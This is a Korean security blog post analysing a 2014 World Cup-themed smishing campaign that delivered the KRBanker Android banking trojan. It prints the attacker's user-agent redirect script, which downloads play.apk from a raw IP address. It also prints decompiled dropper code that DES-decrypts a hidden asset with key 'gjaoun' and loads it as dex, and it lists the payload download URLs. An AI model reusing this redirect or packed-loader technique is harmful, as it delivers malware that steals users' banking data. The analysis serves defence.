본문 바로가기
IT 보안소식

스미싱(Smishing), DES 암호화를 이용한 "Fake Classes.dex" 악성 어플리케이션 주의

by 잡다한 처리 2014. 6. 25.
반응형






지난 6월 18일경 2014년 브라질 월드컵 관련 스미싱 문구들이 발견되어서 포스팅을 준비하다가 이상한 APK 파일을 보게 되었다.


분석을 다 하고 나니, 비슷한 경우가 이전에도 있었던것으로 보인다.

(이전에는 "ypt.db" 파일이 아닌 "ds" 파일로 유포가 되었던거 같다.)


아래의 내용은 실제 브라질 월드컵 스미싱 문자를 수신받은 문자 내용이다.

- 브라질 월드컵 거리응원 ‘무한도전’이간다 함께 참여합시다 sbsfune.krsbs.com

- 월드컵 거리응원 교통통제 미리체크 확인 sbsfune.krsbs.com

- 브라질 월드컵 거리응원장소 어디 일까요?응원장소 확인 sbsfun.krsbs.com


※ 현재는 링크가 모두 차단되어 Full URL 공개!!



링크를 따라가보니, 이것도 좀 귀찮은 형태로 APK 파일을 다운로드를 시키고 있었다.

<script type="text/javascript">

 var browser =

 {

   versions: function ()

   {

     var u = navigator.userAgent, app = navigator.appVersion;

     return

     {

       ios: !!u.match(/\(i[^;

       ]+;

       ( U;

       )? CPU.+Mac OS X/),

       android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1,

       iPhone: u.indexOf('iPhone') > -1,

       iPad: u.indexOf('iPad') > -1,

     };

   }

   (),

 }

 if (browser.versions.android)

 {

   window.location.href = "http://126.15.84.44/play.apk";

 }

 </script>


Navigator 객체의 속성

  - appCodeName : 브라우저의 코드명을 반환

  - appName : 현재 사용중인 브라우저의 이름을 반환

  - appVersion : 현재 사용중인 브라우저의 버전을 반환

  - userAgent : 브라우저의 이름, 버전, 코드를 포함하는 문자열을 반환

  - minetype : mine 형식의 정보를 반환(오브젝트)

  - plugins : plugin 정보를 반환(오브젝트)

  - language : 현재 브라우저가 사용하는 언어를 반환. 익스플로러에서는 지원하지 않음

  - platform : 사용중인 시스템 코드를 반환. 윈도 95/98/NT는 Win32를 반환


* 코드 분석

사용자의 브라우저 정보를 통해 안드로이드 일 때만 play.apk 파일을 자동으로 다운로드 시킴



위의 스크립트는 이전에 확인하였던 Mobile User Agent 구분을 통해 리다이렉션 시키는 스크립트이다.


단지 틀린점이라곤 Android 뿐만아니라, MAc, Linux, iPhone, iPad까지 확인을 한다는 점이다.



암튼 이렇게 해서 결론적으로 play.apk를 다운로드 받게 된다.

다운로드 받은 play.apk 파일은 보기에는 지극히 정상적인(?) 악성파일로 보였다.



dex분석을 위해 dex2jar를 이용하여 classes.dex 파일을 디컴파일 했다.



그런데 악성행위는 없고, "android.content.res.AssetManager" 를 이용하여 assets 폴더의 파일을 읽는 부분이 눈에 보였다.

private Resources getResource()

  {

    Resources localResources1 = null;

    try

    {

      Class localClass = Class.forName("android.content.res.AssetManager");

      Object localObject = localClass.newInstance();

      Method localMethod = localClass.getDeclaredMethod("addAssetPath", new Class[] { String.class });

      Object[] arrayOfObject1 = new Object[1];

      arrayOfObject1[0] = this.apkFileName;

      localMethod.invoke(localObject, arrayOfObject1);

      localResources1 = getBaseContext().getResources();

      Class[] arrayOfClass = new Class[3];

      arrayOfClass[0] = localClass;

      arrayOfClass[1] = localResources1.getDisplayMetrics().getClass();

      arrayOfClass[2] = localResources1.getConfiguration().getClass();

      Constructor localConstructor = Resources.class.getConstructor(arrayOfClass);

      Object[] arrayOfObject2 = new Object[3];

      arrayOfObject2[0] = localObject;

      arrayOfObject2[1] = localResources1.getDisplayMetrics();

      arrayOfObject2[2] = localResources1.getConfiguration();

      Resources localResources2 = (Resources)localConstructor.newInstance(arrayOfObject2);

      return localResources2;

    }

    catch (Exception localException)

    {

      localException.printStackTrace();

    }

    return localResources1;

  }



그래서 assets 폴더를 들어가봤다.

assets 폴더에 "ypt.db" 파일이 존재했다.



그럼 ypt.db 파일이 무슨 역활을 하는지 한번 에디터 프로그램을 통해 확인했더니, 뭔가 암호화 된 파일로 보였다.



그래서 다시 디컴파일 된 classes.dex 파일을 확인해 봤다.

역시 ypt.db 파일을 가지고 노는 부분이 확인됬다.


코드 상, ypt.db 파일을 DES 암호화 방식을 통해 "gjaoun" 키값을 통해 복호화하여 x.zip 라는 파일로 저장하는 것을 확인하였다.

private void loadClass(Context paramContext)

  {

    String str1 = "/data/data/" + paramContext.getPackageName() + "/";

    this.apkFileName = ("/data/app/" + paramContext.getPackageName() + "-1.apk");

    String str2 = str1 + "x.zip";

    String str3 = str1 + "x";

    try

    {

      InputStream localInputStream = getAssets().open("ypt.db");

      Log.v("cmd", "get Input Ok");

      int i = localInputStream.available();

      Log.v("cmd", "数据大小:" + i);

      byte[] arrayOfByte1 = new byte[i];

      localInputStream.read(arrayOfByte1, 0, i);

      byte[] arrayOfByte2 = new DesUtils("gjaoun").decrypt(arrayOfByte1);

      FileOutputStream localFileOutputStream = new FileOutputStream(str2);

      localFileOutputStream.write(arrayOfByte2);

      localFileOutputStream.close();

      Log.v("cmd", "ds数据读取完毕");

      try

      {

        this.localDexFile = DexFile.loadDex(str2, str3, 0);

        this.localEnumeration = this.localDexFile.entries();

        if (!this.localEnumeration.hasMoreElements())

        {

          Log.v("cmd", "删除文件");

          new File(str2).delete();

          new File(str3).delete();

        }

        Log.v("cmd", "加载类");

        while (true)

        {

          if (!this.localEnumeration.hasMoreElements())

            return;

          this.localDexFile.loadClass((String)this.localEnumeration.nextElement(), paramContext.getClassLoader());

        }

      }

      catch (IOException localIOException)

      {

        localIOException.printStackTrace();

        Log.v("cmd", "IOException:" + localIOException.getMessage());

        return;

      }

    }

    catch (Exception localException)

    {

      localException.printStackTrace();

      Log.v("cmd", "Exception:" + localException.getMessage());

    }

  }


  protected void attachBaseContext(Context paramContext)

  {

    Log.v("cmd", "here");

    super.attachBaseContext(paramContext);

  }


* DES(Data Encryption Standard)

블록 암호의 일종으로, 미국 NBS (National Bureau of Standards, 현재 NIST)에서 국가 표준으로 정한 암호이다. DES는 대칭키 암호이며, 56비트의 키를 사용한다. 


EFF에서 제작한 DES 무차별 대입 공격 하드웨어.

DES는 현재 취약한 것으로 알려져 있다. 56비트의 키 길이는 현재 컴퓨터 환경에 비해 너무 짧다는 것이 하나의 원인이며, DES에 백도어가 포함되어 있어 특수한 방법을 사용하면 정부 기관에서 쉽게 해독할 수 있을 것이라는 주장도 제기되었다. 1998년에 전자 프론티어 재단(EFF)에서는 56시간 안에 암호를 해독하는 무차별 대입 공격 하드웨어를 만들었으며, 1999년에는 22시간 15분 안에 해독하는 하드웨어를 만들었다.


DES를 세 번 반복해서 사용하는 Triple-DES는 DES에 비해 안전한 것으로 알려져 있으며, 또한 현재는 DES 대신 AES(Advanced Encryption Standard)가 새 표준으로 정해져 사용되고 있다


출처 : http://ko.wikipedia.org/wiki/DES_(%EC%95%94%ED%98%B8)



나는 개발을 잘 못하니, 사내 개발자에게 복호화 루틴을 부탁해서 생성 된 x.zip 파일을  확인했다.

다른 파일들은 없고 안에는 classes.dex 파일 하나만 존재했다.



그럼 다시 dex2jar 를 통해 디컴파일을 한 후 다시 분석을 시도해보았다.

그랬더니 처음에는 보이지 않았던 악성행위에 대한 코드들이 주루륵 보였다.



결론적으로 play.apk 파일은 국내 인터넷 뱅킹(농협, 신한은행, 우리은행, 국민은행, 하나은행)의 개인정보를 노리는 

KRBanker 종류의 악성파일이다.


추가적으로 다운로드 주소는 아래와 같다.

hxxp://126.15.84.44/N.apk

hxxp://126.15.84.44/S.apk

hxxp://126.15.84.44/W.apk

hxxp://126.15.84.44/K.apk

hxxp://126.15.84.44/H.apk


또한 알약에서는 해당 파일을 Trojan.Android.KRBanker 로 탐지 중이다.


댓글